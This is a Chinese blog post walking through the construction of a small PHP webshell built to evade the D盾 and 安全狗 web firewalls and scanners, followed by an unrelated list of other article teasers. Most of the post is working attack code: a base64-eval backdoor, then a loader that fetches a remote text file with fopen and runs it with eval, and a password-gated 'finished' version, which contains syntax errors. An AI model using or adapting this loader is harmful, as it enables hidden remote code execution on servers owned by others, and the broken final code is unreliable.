打造一款1kb大马并且处理D盾以及安全狗拦截与查杀
在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。
Prat 1 目录
一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结
Prat 2
起源base64编码,处理eval函数进行绕过(失败)
之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过
eval直接执行base64解码
可以成功执行,但是被D盾报4级,这样肯定是不行的
base64编码思路宣告失败
发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了
<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>
Prat 3 失落
巧妙利用fopen函数绕过waf
发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马。
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。
思路
通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?
举个例子:
<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
echo $content1;
fclose($handle1);
?>
发现已经获取成功了,那么我们只需要eval执行一下就可以了
<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
eval($content1);
fclose($handle1);
?>
首先看一下安全狗是否拦截
大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php
ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图
不过问题来了,D盾报一级拦截,我顿时想说mmp。
之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误
Prat 4 希望
fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。
贴一下最后成品代码
<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
if($_POST[$_GET['test'] == "test"){
$handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
print(eval($a1=$content1));
fclose($handle1);
}
$handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content = '';
while(false != ($a = fread($handle, 8080))){
$content .= $a;
}
print(eval($a=$content));
fclose($handle);
}
?>
一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt
说一下代码
if(isset($_GET['submit']) && $_GET['pass'] == "admin")
这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个
if($_POST[$_GET['test'] == "test")
这一部分是用来进入一句话的,当然你也可以删掉
再来说说处理eval一级,其实很简单,我也是bypass小分队的老司机说了才知道的~~~
eval($a1=$content1);
看这一行代码,相信大家就已经知道了。
Prat 5 总结
前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。
打造一款1kb大马并且处理D盾以及安全狗拦截与查杀的更多相关文章
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)
“很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)
上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...
- 打造一款属于自己的web服务器——开篇
JVM总结慢慢来吧,先插播一篇水文,来介绍下最近业余一直在写的一个小项目——easy-httpserver(github).适合新手学习,大神们路过即可^_^. 一.这是个什么玩意? easy-htt ...
- 如何打造一款五星级的 APP ?
移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...
- jquery+css3打造一款ajax分页插件
原文:[原创]jquery+css3打造一款ajax分页插件 最近公司的项目将好多分页改成了ajax的前台分页以前写的分页插件就不好用了,遂重写一个 支持IE6+,但没有动画效果如果没有硬需求,个人认 ...
- Notepad++给自己打造一款PowerQuery M语言编辑器【转】
Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器 Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器-Power BI-ExcelHo ...
- 基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table
基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table https://segmentfault.com/a/1190000015970367
- 使用Python打造一款间谍程序
知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API 此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...
- 打造一款 刷Java 知识的小程序(二)
学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...
随机推荐
- Mac 通过gem安装CocoaPods及Pod的使用
注:根据http://www.jianshu.com/p/6e5c0f78200a的文章做了部分修改 一.什么是CocoaPods CocoaPods是iOS项目的依赖管理工具,该项目源码在Githu ...
- Python_09-面向对象编程
目录: 1 面向对象编程1.1 简单例子1.2 调用1.3 python命名规范(约定)1.4 类的设计1.4.1 Exception 异常捕获结构1.4.2 自定 ...
- jmeter 读取mysql数据库
业务背景 当我们用jmeter进行压测,或者造数据的时候,我们可能希望每次请求的参数都是随机的.如果从一个文件里读取,很难达到要求.jmeter提供了一套读取数据库的组件,能满足部分要求.但性能不好, ...
- fastdfs 清晰简介 有用
是什么? FastDFS是一个轻量级分布式文件系统. 能干嘛? 对文件进行管理,功能包括:文件存储.文件同步.文件访问(文件上传.文件下载)等. 在Linux上的安装连 ...
- SqlServer性能瓶颈分析
SqlServer性能瓶颈分析 一.内存瓶颈分析--SQLServer:Buffer Manager SELECT TOP 312 * FROM sys.dm_os_performance_coun ...
- Springboot-读取核心配置文件及自定义配置文件
读取核心配置文件 核心配置文件是指在resources根目录下的application.properties或application.yml配置文件,读取这两个配置文件的方法有两种,都比较简单. 核心 ...
- archives of source
"ubuntu 暂时不能解析域名 archive.ubuntu.com"怎么办? root下输入命令:lsb_release -a用来查询Ubuntu版本号 登录网站 http:/ ...
- Exception in thread "main" org.springframework.beans.factory.BeanCreationException
Exception in thread "main" org.springframework.beans.factory.BeanCreationException: Error ...
- 3.3.4深度剖析ConcurrentLinkedQueue
队列.链表之类的数据结构及其常用.Java中,ArrayList和Vector都是使用数组作为其内部实现.两者最大的不同在于:Vector是线程安全的,而ArrayList不是.此外LinkedLis ...
- C#通过Redis实现分布式锁
Redis有三个最基本属性来保证分布式锁的有效实现: 安全性: 互斥,在任何时候,只有一个客户端能持有锁. 活跃性A:没有死锁,即使客户端在持有锁的时候崩溃,最后也会有其他客户端能获得锁,超时机制. ...